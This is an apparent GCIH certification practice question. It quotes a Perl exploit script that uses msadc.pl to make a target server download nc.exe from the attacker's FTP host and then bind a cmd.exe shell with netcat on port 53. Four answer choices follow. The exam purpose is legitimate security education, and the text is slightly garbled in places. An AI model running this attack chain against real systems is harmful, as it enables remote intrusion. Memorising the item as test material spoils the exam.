GCIH · Question #278
Adam, a malicious hacker performs an exploit, which is given below: ##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server
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Question
Adam, a malicious hacker performs an exploit, which is given below:
##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = '[email protected]';# password ##################################################### $host = $ARGV[0]; print "Starting ...\n"; print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C "echo open $your >sasfile""); system("perl msadc.pl -h $host -C "echo $user>>sasfile""); system("perl msadc.pl -h $host -C "echo $pass>>sasfile""); system("perl msadc.pl -h $host -C "echo bin>>sasfile""); system("perl msadc.pl -h $host -C "echo get nc.exe>>sasfile""); system("perl msadc.pl -h $host -C "echo get hacked. html>>sasfile""); system("perl msadc.pl -h $host -C "echo quit>>sasfile""); print "Server is downloading ... \n"; system("perl msadc.pl -h $host -C "ftp -s:sasfile""); print "Press ENTER when download is finished ... (Have a ftp server)\n"; $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); print "Done.\n"; #system("telnet $host $port"); exit(0); Which of the following is the expected result of the above exploit?
Options
- ACreates a share called "sasfile" on the target system
- BCreates an FTP server with write permissions enabled
- COpens up a SMTP server that requires no username or password
- DOpens up a telnet listener that requires no username or password
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